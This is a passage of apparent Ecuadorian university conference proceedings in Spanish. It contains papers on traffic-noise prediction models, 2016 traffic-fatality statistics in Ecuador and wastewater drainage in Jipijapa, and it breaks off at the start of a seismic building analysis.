Durante la fase de explotación los incrementos sonoros son producidos por el incremento del tráfico rodado.

La falta de uniformidad en el tiempo del ruido producido por la circulación rodada obliga a que se utilice para su descripción y medida, el nivel continuo equivalente (Leq) que normalmente se establece para dos periodos: diurno y nocturno.

El ruido de la circulación tiene su origen en el que produce cada vehículo, y dentro de éstos son muchos los elementos que los componen que son fuente de ruidos.

Hay que distinguir entre los ruidos que se producen con el motor en marcha y el vehículo parado de aquellos que se producen por el propio movimiento del vehículo, a los que se pueden acumular los anteriores, como son los aerodinámicos y el de rodadura, debido al contacto del neumático con el pavimento.

Las consideraciones de los distintos modelos analizados se detallan a continuación.

Modelo 1 desarrollado en Cuba por la Dra. Arquitecta Aida Ambou.

Es un modelo empírico desarrollado en la década del 80 y establecido como procedimiento regulatorio del Ministerio de la Construcción en 1987.

Las expresiones de cálculo son.

$$L_{50} = 24,5 + 17 \log Q$$

$$L_{10} = 53 + 9,5 \log Q$$

L_{50} = Nivel de ruido estadístico promedio (dBA)

L_{10} = nivel de ruido estadístico cuasimáximo (dBA)

Q= Intensidad horaria de diseño.

Consideraciones del modelo:

El nivel de ruido se calcula a 1.00m de distancia de la vía y 1.20m sobre el nivel del suelo.

30% de vehículos pesados.

Vía en terreno libre de obstáculos.

Velocidad promedio 50-60 km/h.

Pendiente hasta el 2%

Superficie de rozamiento: asfalto u hormigón.

Si las condiciones de aplicación no coinciden con las consideraciones del modelo se aplicaran correcciones al nivel de ruido calculado.

Correcciones:

$\Delta L1$: Esta corrección se aplicará en el caso de que la vía no se desarrolle en terrenos abiertos sino rodeados de edificaciones u otro tipo de obstáculos. Los valores de este incremento están en relación con la altura del obstáculo más bajo y la distancia que los separa entre sí a ambos lados de la vía.

$\Delta L2$: Se aplicará cuando el porcentaje de vehículos pesados no corresponda con el planteado.

$\Delta L3$: Se aplicará cuando la velocidad promedio de los vehículos sea otra a la planteada.

$\Delta L4$: Se utilizará para pendientes de vía mayores del 2%.

$\Delta L5$: Se utiliza en los casos en que la superficie de rodamiento no sea asfalto u hormigón.

$\Delta L6$: Se aplicará en las secciones de la vía donde el tráfico no es fluido.

$\Delta L7$: Limitada al emplazamiento de la vía entre paredes reflectantes.

Para calcular el ruido a una distancia x de la vía se parten de los valores obtenidos a 1.00m sumándose los incrementos obtenidos en función de la distancia.

Modelo 2 desarrollado por el Dr. Licenciado Carlos Barceló del INHEM. (Instituto Nacional de Higiene Epidemiología y Microbiología)

Es un modelo empírico desarrollado en la década del 80 (Barceló, 1992)

La formulación del modelo es:

$$Leq = 55,48 + (5,55 \log tp) + (64,213 \log d3) + (1,23 \log d4)$$

$$tp = \log (m3v)$$

m: flujo horario de vehículos pesados. (veh/h)

v: velocidad media de los vehículos pesados.(km/h)

d3: pendiente de la vía. (radianes)

d4: uso de las edificaciones adyacentes (0:sin uso, 1: vivienda, 2:comercio, 3:taller o industria)

Consideraciones del modelo.

El nivel de ruido se calcula a 1.00m de distancia de la vía y 1.20m sobre el nivel del suelo.

No considera vías en que el tránsito no es fluido (intersecciones, semáforos).

Modelo 3. Método "Richtlinien für den Lärmschutz an Straßen", o abreviadamente RLS-90 (60).

Este modelo ha sido desarrollado en Alemania por el BAST (Laboratorio Alemán de Investigación de Carreteras). Dado que está publicado en idioma alemán, ha sido mucho menos divulgado que otros, escritos en inglés o francés.

El cálculo de los niveles de ruido se hace a través de un modelo que se basa en que la emisión de ruido producido por una carretera (o uno solo de sus carriles) se puede estimar a partir de los siguientes datos:

Intensidad del tráfico

Velocidad de los vehículos

Proporción de vehículos pesados

Tipo de superficie de la carretera

Pendiente

El ruido que registrará un punto concreto (punto de inmisión) dependerá a su vez de otros factores tales como la distancia al lugar de emisión y la diferencia media de altura entre emisor y receptor. Puede estar asimismo incrementado por la existencia de reflexiones en edificaciones u obstáculos cercanos, o por el contrario atenuado por algún tipo de apantallamiento (pantalla acústica, muro de tierra, edificios delanteros, túneles, etc.).

El aumento de nivel de ruido que podría producir el estar la calzada mojada no se tiene en cuenta. Está considerada la posible existencia de un viento suave (unos 3 m/s) desde la carretera hacia el lugar de inmisión, y una inversión térmica que permita la difusión libre del sonido en el aire.

Como resultado final después de todos los cálculos, se obtiene un valor llamado nivel resultante L_r . Este valor es igual al nivel sonoro equivalente (L_{eq} ó L_m) en lugares con tráfico continuo. Si se está cerca de cruces regulados por semáforos o incorporaciones se añade al L_m un coeficiente K , debido al aumento de nivel sonoro que se produce por las aceleraciones y frenadas de los vehículos, obteniéndose así el L_r . El valor de L_r se obtiene como suma algebraica de varios términos:

$$L_r = L_m(25) + D_V + D_{StrO} + D_{Stg} + D_E + D_S + D_{BM} + K$$

El L_r se calcula separadamente para el día y para la noche.

El nivel sonoro equivalente de un carril se puede calcular considerando que la carretera es un emisor lineal de sonido si se cumplen las siguientes condiciones:

El tramo recto del carril tiene que estar comprendido en una zona determinada por el punto de inmisión y una franja a cada sentido de la carretera cuya longitud mínima sea:

$$l_z = 48 \cdot \frac{s}{(100+s)^{0.5}}$$

Siendo s la distancia entre el carril y el punto de inmisión.

Si hay instalado algún tipo de protección acústica tal como una pantalla o un dique de tierra, se debe considerar entonces una distancia de $2 \cdot l_z$, en ambos sentidos.

El carril tiene que estar comprendido entre las líneas rayadas según se describe en la figura 1

La emisión y las condiciones de transmisión del sonido tienen que ser aproximadamente constantes a lo largo de toda su longitud.

Cuando se cumplen todas estas condiciones se podrá calcular con el método de la carretera "larga y recta". En caso de que no se cumpla alguna de ellas no se puede emplear esta forma de cálculo, sino que se deberá aplicarse otro método, el llamado "por secciones", que es muy similar pero con diferentes valores de los coeficientes.

A continuación se describirán cada uno de los términos que componen la ecuación que permite hallar el nivel resultante.

Figura 1 Definición de carretera "larga y recta"

Modelo 4. Método francés "Guide de bruit des transpots terrestres"

Es un modelo empírico desarrollado por el Laboratorio Central de Puentes y Carreteras de Francia (Trigueros, 1999)

La expresión del modelo es:

$$Leq = 18 + 10 \log (Q_{vl} + E Q_{vp}) + 20 \log V - 12 \log (d + I_c/3) + 10 \log (v/180) + K$$

Q_{vl} , Q_{vp} : número de vehículos ligeros y pesados en el período t .

E : factor de corrección por equivalencia entre vehículos ligeros y pesados.

V : velocidad en km/h.

D : distancia al borde de la carretera.

I_c : anchura de la carretera.

α : ángulo de visión (ángulo bajo el que se ve la carretera en grados)

K: corrección debida a situaciones especiales.

Esta expresión da un nivel sonoro medio a dos metros delante de la fachada de los edificios. Para calcular un nivel en campo libre hay que disminuir 2-3 dB(A) al resultado obtenido.

En relación con los modelos basados en simulaciones numéricas mediante cálculo automatizado se valoraron los modelos franceses MICROBRUIT y MITHRA (Trigueros, 1998).

La estructura general de ambos modelos es la siguiente:

Descripción topográfica del lugar, definiendo la ubicación de los puntos receptores, características absorbentes del terreno, presencia de obstáculos naturales o artificiales, etc.

Definición de las fuentes de emisión (carreteras, ferrocarril, etc.), perfil longitudinal, secciones, estructuras (viaductos, túneles, terraplenes, excavaciones, etc.)

Caracterización acústica de las fuentes (flujo de tráfico, velocidad media, tipo de vehículo, etc.).

Análisis de la difusión del sonido en su propagación. Es necesario tener en cuenta las reflexiones y las difracciones provocadas por los obstáculos y la absorción acústica del aire.

Salida de resultados: Índices y descriptores acústicos tales como L_{eq} , isófonas y mapas.

Las influencias meteorológicas no se consideran.

Los programas ofrecen muchas posibilidades de cálculo y en un período relativamente

Propuesta de indicador

El indicador propuesto para el análisis del impacto sobre el confort sonoro es el radio de protección sanitaria establecido a partir del NPSeq.

Procedimiento.

Determinar mediante el modelo de previsión seleccionado los valores de NPSeq provocados por el sistema de transporte en una red de receptores ubicada en los alrededores de la vía. (Hasta 300m a cada lado del borde).

Generar un mapa de isolíneas de igual valor de NPSeq

Interpolar la isolínea de nivel NPSeq límite para cada uso del territorio

Determinación del área que estará afectada por niveles de contaminación superiores a los permisibles.

Determinación del radio de protección sanitaria (distancia de seguridad mínima establecida entre la fuente emisora y los límites de las áreas residenciales, áreas de descanso de la población y otros objetos de protección del medio ambiente) para la vía en cuestión.

MATERIALES Y METODOS

Para poder dar cumplimiento a los objetivos se estructuró el método de trabajo a partir de dos componentes:

Uno teórico, mediante el cual se realizó el estudio del estado del arte, se conceptualizaron los problemas, se sintetizaron las experiencias nacionales e internacionales y sirvió de base para establecer los aspectos más importantes a desarrollar.

Uno práctico, mediante el cual se realizó la aplicación y verificación de los conceptos definidos.

RESULTADOS Y DISCUSIÓN

Comparación entre los modelos de previsión de ruido.

Tabla 2 Comparación entre los modelos de previsión de ruido.

Modelo 1 Aida Ambou.	Modelo 2 Barceló	Modelo 3 RLS	Modelo 4 GBTT	MICROBR UIT	MIHTRA
Empírico.	Empírico.	Empírico.	Empírico.	Racional.	Racional.
Niveles de ruido a 1.00m de la vía y 1.20m del suelo.	Niveles de ruido a 1.00m de la vía y 1.20m del suelo.	Niveles de ruido a 25.00m de la vía y 1.20m del suelo.	Niveles de ruido a 2.00m de la fachada.	Niveles de ruido en cualquier posición del receptor.	Niveles de ruido en cualquier posición del receptor.
Se consideran correcciones por: Obstáculos. V. Pesados. Velocidad. Pendiente. Superficie. Fluidez. Emplazamiento	Se consideran correcciones por: V. Pesados Velocidad. Pendiente. Uso de edificaciones adyacentes.	Se consideran correcciones por: Obstáculos. V. Pesados. Velocidad. Pendiente. Superficie. Fluidez. Emplazamiento	Se consideran correcciones por: V. Pesados. Velocidad. Superficie. Anchura de la vía. Angulo de visión	Se consideran en el modelo: Topografía. Perfil long. Velocidad Tipo de veh. Obstáculos. Absorción acústica del aire Características absorbentes del terreno.	Se consideran en el modelo: Topografía. Perfil long. Velocidad Tipo de veh. Obstáculos. Absorción acústica del aire Características absorbentes del terreno.
Existen datos de entrada.	Existen datos de entrada.	Existen datos de entrada.	Existen datos de entrada.	No existen datos para la caracterización	No existen datos para la caracterización

				acústica de la fuente.	acústica de la fuente.
Error medio en la medición 3.2dB	Error medio en la medición 9.1dB	-	-	-	-
Se puede emplear en Ecuador	Se puede emplear en Ecuador	No se puede emplear en Ecuador	No se puede emplear en Ecuador	No hay acceso a los programas.	No hay acceso a los programas.

Los modelos MICROBRUIT y MIHTRA son racionales, pero requieren como datos de entrada los factores de emisión de ruido. En Ecuador no existe base de datos al respecto. No hay acceso a los programas implementados para su aplicación.

Los modelos RLS y GBTT, son empíricos y se evaluaron con el objetivo de analizar su esquema conceptual y compararlos con los dos nacionales. El modelo alemán se considera el más completo de los empíricos, por los múltiples factores considerados.

Por el esquema conceptual desarrollado, por ser menor el error en las mediciones efectuadas y considerar la mayoría de los factores de corrección que utilizan otros métodos reconocidos, se propone la utilización del modelo 1 desarrollado por la Dra. Aida Ambou para la predicción de los impactos de ruido, sustituyendo la corrección considerada en este método por tráfico no fluido.

CONCLUSIONES

Es posible realizar la mapificación del índice propuesto y tratarlo dentro de un Sistema de Información Geográfico

El indicador ambiental analizado permite valorar la importancia del impacto de la obra vial sobre las variables ambientales potencialmente impactadas.

Es posible implementar la metodología propuesta para el análisis ambiental de variantes

REFERENCIAS BIBLIOGRÁFICAS

ALVAREZ, H. Indicadores Ambientales Básicos para el diseño de carreteras sobre bases sostenibles.

BARCELÓ, C. 1992. Modelación matemática del ruido de tránsito y de su respuesta subjetiva: aplicación en el mapa de La Habana. AIDIS pag. 162-9. La Habana.

CALTRANS. 1989. CALINE4 – A Dispersion Model for Predicting Air Pollutant Concentrations Near Roadways, Final Report prepared by the Caltrans Division of New Technology and Research (Report No. FHWA/CA/TL-84/15).

MOPT. 1992. Guías metodológicas para la elaboración de Estudios de Impacto Ambiental. Carreteras y Ferrocarriles. España.

Reglamento Especial a la Ley

Reglamento a la Ley para la de Gestión Ambiental de Evaluación de Impactos Ambientales en el Ecuador. Prevención y Control de la Contaminación Ambiental originada por la emisión de ruidos, Registro Oficial No. 560 del 12 – 11 – 1990.

TEXTO UNIFICADO DE LEGISLACION AMBIENTAL, Libro VI, De la Calidad Ambiental, Anexo 5. Límites permisibles de niveles de ruido ambiente para fuentes fijas y fuentes móviles, y para vibraciones. Ecuador

TRIGUEROS, J. 1999. El ruido en los proyectos de carreteras. Conferencia. Primer encuentro Euroamericano de grupos Viales Ambientales. Argentina.

LOS ACCIDENTES DEL TRÁNSITO EN ECUADOR ASOCIADOS AL FACTOR HUMANO, EDUCACION VIAL, VEHÍCULO Y LA VÍA.

Ing. Carlos José Zavala Vásquez, Mg. Sc.

Srta. Ginger Johanna León Tutiven

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

carlosjzavaz@hotmail.com

gleontutiven@gmail.com

RESUMEN

Las estadísticas de los accidentes del tránsito en Ecuador reportan el acontecimiento y sus consecuencias según como califique el especialista encargado la causa principal que lo motiva; pero en la mayoría de los casos no es una sola. En cuestiones del Plan de Medidas, Plan o Programas de Seguridad Vial se necesita atender objetivos globales y no causas individuales específicas. Ecuador ocupa en el mundo uno de los primeros lugares en la cifra anual de accidentes del tránsito y en América Latina se reporta en los alrededores del cuarto lugar. En este trabajo se da a conocer el resultado de fallecidos por accidente del tránsito asociados a causas globales: el factor humano, educación vial, vehículo y vía en el país. Durante el periodo enero a mayo de 2016 y pone de manifiesto la importancia y necesidad en los trabajos para atender y fortalecer la seguridad vial.

PALABRAS CLAVES: Accidentes, índices, Educación Vial, Seguridad Vial.

ABSTRACT

The statistics of the traffic accidents in Ecuador report the event and its consequences according to how the specialist in charge qualifies the main cause that motivates it; but in most cases it is not alone. In matters of the Plan of Measures, Plan or Programs of Road Safety, it is necessary to address global objectives and not specific individual causes. Ecuador occupies in the world one of the first places in the annual number of traffic accidents and in Latin America is reported in the vicinity of the fourth place. In this work, the result of deaths due to traffic accidents associated with global causes is revealed: the human factor, road, vehicle and road education in the country. During the period January to May 2016 and highlights the importance and need in the work to address and strengthen road safety.

KEY WORDS: Accidents, indexes, Road Safety Education, Road Safety.

INTRODUCCIÓN

Son muchos factores que influyen en la seguridad y la comodidad de los automóviles que circulan por un tramo de carretera. Por lo general en los países las normas de diseño que se aplican debidas a perfeccionamientos y ajustes, tomando como punto de referencia aquellas de países más avanzados, sin descuidar que no se debe implantar estas por decreto en un momento determinado sin tener presente el desarrollo técnico y los recursos económicos que el país puede invertir para conciliar las necesidades con los recursos que se puedan utilizar.

Los proyectistas de las carreteras cuentan con documentos técnicos y el mejor deseo para aplicar en el proyecto las normativas de diseño geométrico más actualizadas y acabadas, que tengan en cuenta el trazado en planta, perfil y el tipo de la sección transversal, incluyendo ancho de carriles y espaldón, de manera tal que se satisfagan para los diferentes grupos de usuarios las expectativas de seguridad, comodidad y funcionabilidad de la vía.

Método: basado en la observación, análisis y síntesis.

Recursos metodológicos: Aplicación de técnicas estadísticas y procesamiento de datos.

MATERIALES Y MÉTODOS

LA PROBLEMÁTICA DE LA SEGURIDAD DEL TRÁNSITO Y LA OBRA VIAL

Son muchos los efectos y factores aislados o combinados a lo largo de un trazado vial que pueden ser ejemplificados y agrupados, tales como:

Diversidad de usuarios que utilizan la vía.

Diversidad de diferentes tipos de vehículos en la vía.

Carga de trabajo durante el recorrido según el trazado vial, tiempo de viaje, tipos de intersecciones, características de las corrientes vehiculares, estado de pavimento, estado del tiempo, falta o deficiente señalización vial, falta o excesivo o control de agentes policiales, etc.

Complejidad en el comportamiento de los automovilistas: tipo de viaje, gustos, experiencia, edad, horas del día, etc.

Otros asociados a la propia vía, e tránsito y agentes climáticos.

Importante es destacar que: “No se debe descuidar la presencia de uno o más factores cuando ocurre un accidente del tránsito”

Son variados y actuando en conjunto los factores que influyen en la seguridad, la comodidad y la fluidez de los automovilistas que circulan por un tramo de la vía.

En la actualidad son muchos los tramos de vías en la Red de la Provincia de Manabí y Ecuador que no cuentan con adecuadas condiciones en su trazado geométrico ni con una capa de

rodadura, señalización vial, y otros factores ajenos al logro de un tránsito seguro- cómodo- fluido que garantice los requisitos mínimos de la circulación vial durante todo el trazado y recorrido del automovilista.

CAUSAS PRINCIPALES DE FALLECIDOS POR ACCIDENTE DEL TRANSITO EN ECUADOR ENERO A MAYO 2016

En el año 2000, más de 1.2 millones de personas murieron en el mundo como consecuencia de accidentes del tránsito, lo que hace de esta novena causa de muerte.

Se prevé que en el año 2020 esta cifra prácticamente se haya duplicado. En muchos países de América Latina, incluido Ecuador, los accidentes del tránsito se encuentran entre las primeras causas de muerte. Ecuador ocupa en el mundo uno de los principales lugares en las cifras anual de accidentes del tránsito y en América Latina se reportan en los alrededores del cuarto lugar. A continuación, se presentan algunos ejemplos a nivel nacional en Ecuador según INEC.

ÍNDICES GLOBALES DE ACCIDENTES DEL TRÁNSITO EN ECUADOR, CONSIDERANDO EL FACTOR HUMANO, LA EDUCACIÓN VÍAL, EL VEHICULO Y LA VÍA.

Por iniciativa de los autores de este trabajo, se dan a conocer por primera vez para el país, el resultado de Índices Globales de Accidentes del tránsito durante el periodo Enero-Marzo de 2016, considerando que estos índices promuevan el alcance de lograr un mejor entendimiento en la ocurrencia de estos lamentables hechos y que algunas medidas oportunas puedan ser consideradas en un futuro próximo.

A continuación, informa el valor Índice Global en % alcanzado para el periodo analizado teniendo en cuenta el reporte de accidentes de la Tabla1.

EFFECTO A TENER EN CUENTA	INDICE GLOBAL
Factor Humano	94,3%
Educación Vial	42,3%
El vehículo	15,3%
La vía	27,2%

CÓDIGO	CAUSAS PROBABLES	ENE	FEB	MAR	TOTAL A MARZO 2016	%
C14	CONducir desatento a las condiciones de tránsito (PANTALLAS DE VIDEO, COMIDA, MAQUILLAJE O CUALQUIER OTRO ELEMENTO DISTRACTOR)	80	62	56	198	40,74
C09	CONducir vehículo superando los límites máximos de velocidad	35	16	15	66	13,58
C16	NO TRANSITAR POR LAS ACERAS O ZONAS DE SEGURIDAD DESTINADAS PARA EL EFECTO	11	12	7	30	6,17
C23	NO RESPETAR LAS SEÑALES REGLAMENTARIAS DE TRÁNSITO (PARE, CEDA EL PASO, LUZ ROJA DEL SEMAFORO, ETC)	8	11	10	29	5,97
C11	NO MANTENER LA DISTANCIA PRUDENCIAL CON RESPECTO AL VEHÍCULO QUE LE ANTECEDE	9	7	9	25	5,14
C19	REALIZAR CAMBIO BRUSCO O INDEBIDO DE CARRIL	5	11	8	24	4,94
C06	CONduce BAJO LA INFLUENCIA DE ALCOHOL, SUSTANCIAS ESTUPEFACIENTES O PSICOTROPICAS Y/O MEDICAMENTOS	10	6	4	20	4,12
C26	NO CEDER EL DERECHO DE VIA O PREFERENCIA DE PASO AL PEATON	4	9	7	20	4,12
C25	NO CEDER EL DERECHO DE VIA O PREFERENCIA DE PASO A VEHICULOS	1	3	7	11	2,26
C12	NO GUARDAR LA DISTANCIA LATERAL MINIMA DE SEGURIDAD ENTRE VEHICULOS	5	2	3	10	2,06
C27	PEATON QUE CRUZA LA CALZADA SIN RESPETAR LA SEÑALIZACION EXISTENTE (SEMAFOROS O SEÑALES MANUALES)	-	5	4	9	1,85
C28	FALLA MECANICA EN LOS SISTEMAS Y/O NEUMATICOS (SISTEMA DE FREÑOS, DIRECCION, ELECTRONICO O MECANICO)	3	1	2	6	1,23
C01	CASO FORTUITO O FUERZA MAYOR (EXPLOSION DE NEUMATICO NUEVO, DERRUMBE, INUNDACION, CAIDA DE PUENTE, ARBOL, PRESENCIA INTIMPESTIVA E IMPREVISTA DE SEMOVIENTES EN LA VIA, ETC)	2	2	2	6	1,23
C03	CONducir EN ESTADO DE SOMNOLENCIA O MALAS CONDICIONES FISICAS (SUEÑO, CANSANCIO Y FATIGA)	-	3	2	5	1,03
C22	ADELANTAR O REBASAR A OTRO VEHÍCULO EN MOVIMIENTO EN ZONAS O SITIOS PELIGROSOS TALES COMO: CURVAS, PUENTES, TUNELES, PENDIENTES, ETC)	2	2	-	4	0,82
C02	PRESENCIA DE AGENTES EXTERNOS EN LA VIA (AGUA, ACEITE, PIEDRA, LASTRE, ESCOMBROS, MADEROS, ETC)	-	-	4	4	0,82
C07	TRANSITA BAJO INFLUENCIA DE ALCOHOL, SUSTANCIAS ESTUPEFACIENTES O PSICOTROPICAS Y/O MEDICAMENTOS	-	-	3	3	0,62
C17	BAJARSE O SUBIRSE DE VEHICULOS EN MOVIMIENTO SIN TOMAR LAS PRECAUCIONES DEBIDAS	1	1	1	3	0,62
C15	DEJAR O RECOGER PASAJEROS EN LUGARES NO PERMITIDOS	1	-	2	3	0,62
C24	NO RESPETAR LAS SEÑALES MANUALES DEL AGENTE DE TRÁNSITO	2	-	-	2	0,41
C27	TRANSITA BAJO INFLUENCIA DE ALCOHOL, SUSTANCIAS ESTUPEFACIENTES O PSICOTROPICAS Y/O MEDICAMENTOS	2	-	-	2	0,41

FALLECIDOS POR TIPO DE VEHÍCULO EN SINIESTROS DE TRÁNSITO MARZO 2016

T

TIPO DE VEHÍCULO	FALLECIDOS
AUTOMOVIL	31
BICICLETA	7
MOTOCICLETA	42
CAMIONETA	15
JEEP	6
BUS	13
CAMIÓN	5
OTROS*	1
NO DETERMINADO	29
TOTAL	149

FALLECIDOS POR TIPO DE VEHÍCULOS MARZO 2016

FALLECIDOS EN SINIESTROS DE TRÁNSITO A NIVEL NACIONAL MARZO 2016

CONCLUSIONES

Es posible lograr en el país índices más bajos en la ocurrencia anual de accidentes del tránsito encaminando las acciones hacia: la divulgación, atención sistemática, integración de grupos multidisciplinarios y exigencias a cumplir a partir del análisis integral de las causas que motivan los accidentes del tránsito.

Se necesitan declarar Programas de Educación Vial y de Seguridad Vial considerando metas anuales posibles de alcanzar en cuanto la disminución de los accidentes del tránsito y el número anual de fallecidos sin descuidar los recursos humanos y materiales con que se cuenta.

Lo que se expresa en las conclusiones 1 y 2 se ha podido llevar a cabo con éxitos en otros países que han encaminado sus esfuerzos con el fin de atender la problemática de la Educación y la Seguridad Vial.

REFERENCIAS BIBLIOGRÁFICAS

Reporte Anual de Índices de Accidentes del Tránsito en Ecuador, según INEC 2016.

PROBLEMÁTICA DE LAS AGUAS RESIDUALES EN LA CALLE IMBABURA ENTRE MONTALVO Y 10 DE AGOSTO

AUTORES:

Giler María

Cusme Mónica

Álvarez Ricardo

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Karlenpg58@hotmail.com

RESUMEN

En la actual exploración se visualiza la gran dificultad que existe de las aguas residuales en la calle Imbabura entre Montalvo y 10 de agosto, los moradores echan de ver que algunas viviendas no cuentan con tuberías instaladas al procedimiento de alcantarillado salubre condicionalmente, esto empieza aquejar de un perfil no benefactor para el entorno de la manzana.

Las aguas residuales deben conectarse a cada una de las casas para que estas mismas sean llevadas de carácter normal a desembocar en lugares que no afecten a la familia, colectivamente, esto debe ser llevado por la empresa de agua potable y alcantarillado en coordinación con el GAD municipal de Jipijapa.

La polución es la causa más evidente y desprotegida en estas calles, como se dio una breve referencia al inicio de no haber este servicio a todas las viviendas, por lo tanto, esto incomoda a los moradores residentes de esta zona.

Se realizó la respectiva tabulación de datos a las personas que habitan en la zona, teniendo en cuenta, esto permitió hacer la indagación posible dando un mayor aporte en el plan logístico para conocer los problemas que se están dando.

En las dificultades encontradas es que no cuenta con un correcto sistema de desagüe sanitario para deponer las aguas residuales para que descarguen al colector principal, en vista de que, los hogares se encuentran en contrapendiente al emisario principal, lo que ha llevado a algunas personas a invadir de manera temporal como solución el río.

PALABRAS CLAVE: aguas residuales, sistema de alcantarillado sanitario, contaminantes.

ABSTRACT

In the current exploration it is visualized the great difficulty that exists of the residual waters in the street Imbabura between Montalvo and August 10, the residents see that some houses do not have pipes installed to the sanitary sewer procedure conditionally, this begins to suffer from a non-benefactor profile for the apple environment.

The wastewater must be connected to each of the houses so that they are taken of normal character to empty into places that do not affect the family, collectively, this must be taken by the company of drinking water and sewerage in coordination with the GAD municipal of Jipijapa.

Pollution is the most evident and unprotected cause in these streets, as there was a brief reference to the beginning of not having this service to all the houses, therefore, this makes resident residents of this area uncomfortable.

The respective tabulation of data was made to the people living in the area, taking into account, this allowed to make the possible investigation giving a greater contribution in the logistic plan to know the problems that are taking place.

In the difficulties encountered, it does not have a proper sanitary sewage system to dispose of the wastewater to be discharged to the main collector, since the homes are in counterpendiente to the main outfall, which has led some people to invade temporarily as a solution the river.

KEYWORDS: wastewater, sanitary sewer system, contaminants.

INTRODUCCIÓN

Las aguas residuales son materiales derivados a los residuos en los hogares o de los procesos industriales, lo cual por salud a la comunidad y por las consideraciones económicas y estética, no pueden ser desechadas a los recolectores principales vertiéndolas sin tratamiento a corrientes semi convencionales.

Los materiales inorgánicos y otros residuos son eliminados usualmente por las riveras de los ríos, tanto que, esto a su tiempo proviene una afectación a los habitantes de estos sectores, las aguas residuales dan consecuencia a una eliminación de microorganismos,

Específicamente, las aguas residuales dan reacciones complejas de digestión y fermentación efectuadas por un parásito de diferentes especies bacterianas, dando a si un resultado neto a la convención de materiales orgánicos en gas metano, este puede separar una fuente de energía.

Problemática de las aguas residuales en la calle Imbabura entre Montalvo y 10 de agosto

La cantidad de aguas residuales que produce una comunidad va en proporción al consumo de agua potable y al grado de desarrollo económico y social, puesto que un mayor desarrollo trae consigo un mayor y más diverso uso del agua en las actividades humanas tanto que esto afecta a las personas que se encuentra en un contrapendiente y de poco en poco afecta a la salud por la alta contaminación de desechos.

Las aguas residuales aparecen sucias y contaminadas: llevan grasas, detergentes, materia orgánica, residuos de la herbicidas y plaguicidas... sustancias muy tóxicas.

industria y de los ganados, y en ocasiones algunas

Estas aguas residuales, antes de volver a la naturaleza, deben ser depuradas. Para ello se conducen a las plantas o estaciones depuradoras, donde se realiza el tratamiento más adecuado para devolver el agua a la naturaleza en las mejores condiciones posibles.

Todavía existen muchos pueblos y ciudades de nuestro país que vierten sus aguas residuales directamente a los ríos, sin depurarlas. Esta conducta ha provocado que la mayoría de los seres vivos que vivían en esos ríos hayan desaparecido.

Cuando se habla de aguas residuales, se tiende a relacionarlas con multitud de problemas. Aun así, estas aguas presentan un gran potencial de recuperación de recursos, que solemos pasarnos por alto.

Además de los problemas ecológicos y sanitarios antes citados, el vertido de aguas residuales en los ríos, lagos y mares produce otro tipo de contaminación llamada psicosocial, ya que afecta al entorno natural del hombre, modificando la estética de su paisaje y haciéndolo cada vez más inhóspito.

En aquellos lugares en que se vierten sustancias coloreadas al agua, procedentes de algunas industrias, se puede cambiar el color de ésta, y afectar a la penetración de la luz.

En las zonas turísticas, este aspecto adquiere mayor relevancia, puesto que, su medio de vida es la afluencia y visita de personas, y han de atender, prioritariamente, los criterios estéticos y sanitarios.

Desde la publicación en (1979), se han de la segunda edición producido diversos y notables cambios en el campo de la ingeniería de las aguas residuales como resultado del mejor entendimiento de los efectos ambientales del vertido de aguas residuales, de las mejoras en los métodos de tratamiento, de los cambios en las normativas aplicables y de la creciente importancia del agua residual regenerada como recurso hídrico.

RESULTADOS Y DISCUSIÓN

Existe una gran problemática en el sector ya mencionado, ya que no existe un correcto evacuated de aguas residuales en dicho lugar, para lo que se discutió sobre las posibles causas y se decidió la investigación a los hogares, y se cómo resultado a esto se obtuvo que hay

problemas en algunos hogares para poder evacuar, por lo tanto no pueden hacer un uso del sistema de alcantarillado de una manera correcta, por lo que se pensó en una solución, que es crear una bomba para que los desechos puedan ser enviados a las tuberías y no existan futuros inconvenientes en las casa.

CONCLUSIONES

El diagnóstico de los sistemas de alcantarillado de la comunidad de Jipijapa reveló que el inadecuado mantenimiento afecta la calidad de las aguas, además la falta de un tratamiento preliminar no ayuda disminuir el ingreso de sólidos al sistema.

La especie más eficiente en el tratamiento de las aguas residuales para esta investigación, debido al importante número de parámetros removidos, logrando la permisibilidad en la mayoría a excepción de los microorganismos.

REFERENCIAS BIBLIOGRÁFICAS

Sergi Vinardell, 2018. Proyectos de aguas residuales, una fuente recursos.

http://mimosa.pntic.mec.es/vgarci14/aguas_residuales.htm(2013)

http://cidta.usal.es/cursos/EDAR/modulos/Edar/unidades/LIBROS/logo/pdf/Aguas_Residuales_composicion.pdf(2015).

<http://www.scielo.org.co/pdf/reus/v17n1/v17n1a12.pdf> (2014)

https://www.madrimasd.org/uploads/informacionidi/biblioteca/publicacion/doc/VT/_Tratamientos_avanzados_de_aguas_residuales_industriales.pdf(2011)

http://catarina.udlap.mx/u_dl_a/tales/documentos/lar/oropeza_b_vm/capitulo4.pdf(2002)

[_Tratamientos_avanzados_de_aguas_residuales_industriales.pdf](#)(2011)

ANALISIS SISMICO COMPARATIVO DE TRES EDIFICIOS DE MEDIANA ALTURA UTILIZANDO DIFERENTES SISTEMAS ESTRUCTURALES

Ing. Erik Gabriel Villavicencio Cedeño MS.c

Ing. David Eduardo Sánchez Santander

Jean Carlos Cabeza Ortiz

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

erik.villavicencio@unesum.edu.ec

RESUMEN

Para el caso de estudio se analizaron tres edificios de mediana altura, constituidos de hormigón armado, vigas descolgadas y losas bidireccionales, simétricos en planta y regulares en elevación; el primero consiste en un sistema de pórticos resistentes a momentos y cargas laterales, el segundo consiste de un sistema dual con muros de corte en ambos sentidos ortogonales y el tercero es un sistema resistente a carga lateral basado en pórticos con disipadores de energía sísmica tipo TADAS. Utilizando la zona de mayor peligrosidad sísmica del Ecuador, se comparan los resultados del análisis estructural de los edificios aporticados, con muros de corte y con disipadores de energía sísmica.

PALABRAS CLAVE: Análisis comparativo, Muros de corte, Disipadores TADAS, Comportamiento estructural.

ABSTRACT

For the case of the study, the buildings of medium height, constituted of reinforced concrete, detached and bidirectional beams, symmetrical in plan and regular in elevation, will be analyzed; the first consists of a system of gantries in a second and another time in a second

system in a system of walls of cut in both orthogonal directions and the third is a system of lateral load based on porticos with dissipaters of seismic energy type TADAS. Using the area of greatest seismic hazard in Ecuador, comparing the results of the structural analysis of the contributed buildings, cutting walls and seismic energy dissipaters.

KEYWORDS: Comparative analysis, Cutting Walls, TADAS heatsinks, Structural behavior.

INTRODUCCIÓN

